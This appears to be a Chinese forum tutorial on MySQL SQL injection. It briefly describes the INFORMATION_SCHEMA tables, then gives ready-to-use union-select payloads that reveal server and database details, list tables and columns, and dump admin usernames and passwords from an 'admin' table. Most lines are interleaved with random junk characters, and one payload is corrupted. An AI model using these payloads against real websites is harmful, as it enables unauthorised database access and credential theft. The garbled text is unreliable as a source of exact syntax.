本文介绍MYSQL盲注的一些语句和方法
- m) W$ }. V9 N; a/ e% @! C) _7 S8 I4 R( _+ ]* v
学习盲注前先了解下 IFORMATION_SCHEMA 库+ t y9 j4 z5 y, y. l/ H+ \
4 D8 M d0 V1 v2 {# D0 X. nMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有% u6 m1 P& s; o9 v
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
2 G! W/ e1 { X7 A7 I( `1 D1 O1 h; I1.得到所有数据库名:, B4 o, r1 d) k9 A1 o6 o+ t# J
|SCHEMATA ->存储数据库名的表
" @2 l0 a$ W, b m( P. N! L6 o) ?|---字段:SCHEMA_NAME ->数据库名称
( p6 p+ ~5 c, d3 v' y& B% p- q5 A# J: P
|TABLES ->存储表名# G5 O( {) @1 k4 E
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
3 F0 n7 n l6 K' d4 m: R|---字段:TABLE_NAME ->存储表的表名
5 q0 m7 q8 T( M Y0 J. V+ [0 m# ?
|COLUMNS ->存储的字段名表
4 g4 N# ~$ t. x& E7 g: f8 ]0 m1 F|---字段:TABLE_SCHEMA ->该字段所属数据库名4 B; T1 i5 F1 H
|---字段:TABLE_NAME ->存储所属表的名称
9 A' {$ L0 o r& U$ s0 Q; R7 j' M: G2 F$ \* L1 X
|---字段:COLUMN_NAME ->该字段的名称
& u4 Q- E \# X! [3 D% y1 L
8 s* }! O0 U1 W8 ?" J 8 C z. [* X; n: G1 @! _9 Q0 `" Y6 Q
/ v, ~" ^3 C! }! x# I4 e###########################################################################
& O S' D4 C. G8 V2 c0 a0 W! t$ f: K" y
0x001 获取系统信息:
0 }, v- `+ ~! v
2 z) Y1 B" P7 Q3 N! ^union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
2 g+ ]! ?& L3 ?' D! g! B
) A" T+ U' {3 K' C: ~/*2 P7 v1 F c8 a, O
5 o. J7 X$ i" n; {# k
@@global.version_compile_os 获取系统版本
# t" @* I; a# ]
( i; h' N+ \: z@@datadir 数据库路径
9 n/ n4 L6 X5 Z: Qdatabase() 当前数据库名称3 |4 \( a7 q# J' b
0x3c62723e 换行HEX值; w) }: n4 F* `) o6 q) ^
, C: H h3 D+ {* }# o/ {, `1 b% ?
*/' J v# `: F# A7 Y
, G" A/ T/ U+ \ Q# Q, {3 d
q4 O' P I6 f& \2 b0 L( w2 E& N
2 ~1 j, [* E/ x* s7 ^
######################################################################9 O2 i9 Y) x) O' E l
1 B% z+ b, f# C& c' t0x002 获取表名
! b" k* ~- t% p7 {+ a0 l2 ]
0 I& B* Z% S# @# x0 f) S7 u Q8 |union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
7 d' _5 u3 G( J$ K' `. y4 ?+ \/ X! {5 G/ y6 r, W) |
: C7 `6 ?- [. `# @; J- @/ X* L
z# O+ F, z5 K' j% p# b) K, X! q5 {
/*; k7 d, w; w f" p0 J; L
7 G. Z+ S" h9 Y; t# @6 ?
0x67617264656e 为当前数据库名( |% K9 Z: I! e# w3 S
& u g g! K: H) @group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
! t- ^+ F. d7 ]1 k8 g( n3 ~+ X; q* \5 ~3 R; y5 O
*/
( [! o- L V$ p$ I$ a; c: E% ^0 }
8 U' p0 [5 Y6 p######################################################################) D$ w3 x- W m8 s5 q
; |9 S3 \6 D7 m8 m$ A( w. q& j; f; q
- w6 E. e! x( C6 P8 F$ l5 Z" v& Y. h
0x003 获取字段
7 C% e- m% {2 p4 j8 O7 l
7 G" ^& z" @7 A2 Y9 v6 _. ?union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
" u9 \% j7 v Y8 q% l
6 @/ x( R) k0 r9 l/*$ ~/ e( W z5 ?0 m- F% b
" A/ F# ~8 o1 _; [! G
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段7 {' J# x1 {+ U, R) V# @8 P
5 A" W# z; v& O. X
0x61646d696e ->选择一个表
z+ H( x3 z8 p& n" p4 g: M$ m9 e* N, f! C+ p0 A* E' `& \& k
0x67617264656e ->数据库名
2 h( d7 O' \4 P! b ^
7 m" C$ ?$ M4 B, t1 v2 |! X b*// Y" M* n/ W) V$ P# ~6 y3 C
/ _3 I/ ]/ ^/ R% @#####################################################################
5 |/ |6 y; C1 \8 m0 h$ T
/ d7 S& i9 m8 a, h( B; ^: Z! @+ O- F 2 \& `. C' l- D6 \6 a% a9 n7 I& J
# M" f9 I( e* ^& M
0x004 获取数据
7 V2 Y8 M. b. }: R+ H& t
% E! w! U3 A) T; [7 G8 punion select 1,2,3' K8 }% O9 r z; m
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin% ]0 _ z! M3 A& V
2 O4 r3 [8 [; l2 d8 W# C: |union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
+ B/ E# w O/ U8 I
1 k; m5 K+ T4 D2 i
9 B1 A$ u) A& T, N" m1 i b$ O8 o1 P4 x+ f# U
/** G1 r) v( {0 C
* b- a, N0 i5 H% u0x3c62723e 换行符号HEX编码8 I& g2 j% m1 n1 J2 @+ Y
- ] v6 V0 `6 O' n8 xgroup_concat 同时获得该字段所有数据
; j" S1 Q k+ Q- F; t. G
/ I) O- I3 K+ z% i/ t" `*/
4 O, t; U2 c+ Q0 C/ N1 B- ~
, h' `3 v$ t' ~9 [& O' ~ |